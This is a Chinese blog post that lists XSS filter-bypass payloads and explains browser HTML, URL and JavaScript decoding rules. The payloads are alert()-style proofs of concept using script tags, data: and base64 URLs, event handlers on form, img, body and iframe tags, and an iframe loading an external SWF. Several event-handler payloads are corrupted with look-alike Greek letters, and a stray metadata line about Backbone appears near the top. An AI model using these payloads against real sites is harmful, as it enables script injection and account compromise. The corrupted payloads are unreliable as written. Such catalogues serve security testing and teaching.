XSS----一些方法

本文详细探讨了XSS攻击的各种绕过方法,包括标签的使用如script标签的src属性通过dataurl协议,String.fromCharCode,setTimeout等。还介绍了a标签的事件与href属性利用,表单的button和onsubmit,以及图片、body滚动条、iframe的src等。同时,文章讲解了利用字符编码的技巧,如HTML、URL和JavaScript中的hex, unicode, ascii解析规则,深入解析浏览器如何处理字符实体,避免脚本执行。" 54911669,4997973,深入剖析backbone源码:模块化、事件系统与设计模式,"['backbone', '前端框架', '设计模式', '源码分析']

参考https://blog.csdn.net/qq_29277155/article/details/51320064

0x01.标签绕过

1 script篇

方法:

1.1 ascii标识符

<script>\u0061\u006C\u0065\u0072\u0074(88199)</script>

1.2…标签的src属性---------dataurl 协议

 <script src=data:text/javascript,alert(88199)></script>
    
<script src=&#100&#97&#116&#97:text/javascript,alert(88199)></script>

<script src=data:text/html;base64,YWxlcnQoMSk=></script>

base64-----------alert(1)


1.3.String.fromCharCode

1.4.setTimeout

## <script>setTimeout(alert(88199),0)</script>

1.5.普通方式

<script>alert(navigator.userAgent)<script>
<script>alert(88199)</script>
<script>confirm(88199)</script>
<script>prompt(88199)</script>

<script>+alert(88199)</script>
<script>alert(/88199/)</script>

<script>alert(/88199/.source)</script>

0x02、a标签运用

1.事件

<anytag οnmοuseοver=alert(15)>M
<anytag οnclick=alert(16)>M
<a οnmοuseοver=alert(17)>M
<a οnclick=alert(18)>M

2.href属性

<a href=javascript:alert(19)>M
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>
base64--------------------<script>alert(1)</script>
aa
</a>

0x03、表单

1.按钮

<button/οnclick=alert(20)>M

<form><button  formaction=javascript&colon;alert(21)>M

 <input οnfοcus=alert(33) autofocus>

**离开动作**
<input οnblur=alert(34) autofocus><input autofocus>

2.表单 action,onsubmit

<form/action=javascript:alert(22)><input/type=submit>


<form οnsubmit=alert(23)><button>M
<form οnsubmit=alert(23)><button>M

4、图像

<img src=x οnerrοr=alert(24)> 29

5、body标签

<body/οnlοad=alert(25)>

5.1 滚动条

<body
οnscrοll=alert(26)><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<input autofocus>

6、iframe

1.src

<iframe src="http://0x.lv/xss.swf"></iframe>

<iframe/οnlοad=alert(document.domain)></iframe>

<IFRAME SRC="javascript:alert(29);"></IFRAME>
<IFRAME SRC=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></IFRAME>

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>

0x02.利用字符编码–利用浏览器解析机制

参考http://bobao.360.cn/learning/detail/292.html

1.url、html、js----hex,unicode,ascii

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1.1html解析规则

在这里插入图片描述

1.1.1 有三种情况可以容纳字符实体:

1.“数据状态中的字符引用”
2.“RCDATA状态中的字符引用”
3.“属性值状态中的字符引用”。

在这些状态中HTML字符实体将会从“&#…”形式解码,对应的解码字符会被放入数据缓冲区中。

####1
在问题4中,< 、 **>**字符被编码为&#60;&#62;

当解析器解析完“

”并处于“数据状态”时,这两个字符将会被解析。当解析器 遇到“&”字符,它会知道这是“数据状态的字符引用”,因此会消耗一个字符引用(例如“<”)并释放出对应字符的token。在这个例子中,对应字符指的是“<”和“>”。

读者可能会想:这是不是意味着“<”和“>”的token将会被理解为标签的开始和结束,然后其中的脚本会被执行?

答案是脚本并不会被执行。原因是解析器在解析这个字符引用后不会转换到“标签开始状态”

正因为如此,就不会建立新标签。因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”。

在这里插入图片描述

1.1.2RCDATA状态中的字符引用

这意味着在<textarea><title>标签中的字符引用会被HTML解析器解码

这里要再提醒一次,在解析这些字符引用的过程中不会进入“标签开始状态”。

这样就可以解释问题5了。另外,对RCDATA有个特殊的情况。在浏览器解析RCDATA元素的过程中,解析器会进入“RCDATA状态”

在这个状态中,如果遇到“<”字符它会转换到“RCDATA小于号状态”。如果**“<”字符后没有紧跟着“/”和对应的标签名**,解析器会转换回“RCDATA状态”。

这意味着在RCDATA元素标签的内容中(例如<textarea><title>的内容中),唯一能够被解析器认做是标签的就是“</textarea>”或者“</title>”。

当然,这要看开始标签是哪一个。因此,在“<textarea>”和“<title>”的内容中不会创建标签,就不会有脚本能够执行。这也就解释了为什么问题6中的脚本不会被执行。

1.2URL解析

1.首先,URL资源类型必须是ASCII字母(U+0041-U+005A || U+0061-U+007A),不然就会进入“无类型”状态,该原则对协议后面的“:”(冒号)同样适用。

这就是为什么问题1中的代码不能被执行。因为URL中被编码的“javascript”没有被解码,因此不会被URL解析器识别。

问题3也得到解答

在这里插入图片描述
2.为什么问题2中的脚本被执行了呢?如果你记得我们在HTML解析部分讨论的内容的话,是否还记得有一个情况叫做“属性值中的字符引用”,在这个情况中字符引用会被解码。

1.3JavaScript 解析

1.开始之前,让我们来回到HTML解析过程中的“原始文本”元素。我故意将HTML中的一部分留到这个章节是因为它与JavaScript解析有关。所有的“script”块都属于“原始文本”元素。“script”块有个有趣的属性:在块中的字符引用并不会被解析和解码。

2.那像“\uXXXX”(例如\u0000,\u000A)这样的字符呢,JavaScript会解析这些字符来执行吗?简单的说:视情况而定。

具体的说就是要看被编码的序列到底是哪部分。首先,像\uXXXX一样的字符被称作Unicode转义序列。从上下文来看,你可以将转义序列放在3个部分:字符串中,标识符名称中和控制字符中

2.1字符串中:
当Unicode转义序列存在于字符串中时,它只会被解释为正规字符.

而不是单引号,双引号或者换行符这些能够打破字符串上下文的字符

这项内容清楚地写在ECMAScript中。因此,Unicode转义序列将永远不会破环字符串上下文,因为它们只能被解释成字符串常量。

2.2标识符名称中
当Unicode转义序列出现在标识符名称中时,它会被解码并解释为标识符名称的一部分,例如函数名,属性名等等。这可以用来解释问题10。

2.3控制字符:
当用Unicode转义序列来表示一个控制字符时,例如单引号、双引号、圆括号等等,它们将不会被解释成控制字符,而仅仅被解码并解析为标识符名称或者字符串常量。

在这里插入图片描述

编码流程:

字符—》非ascii码字符十六进制(html编码,gbk,utf-8)---->%(url编码)------>十六进制(url解码)(html解码)--------》字符

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值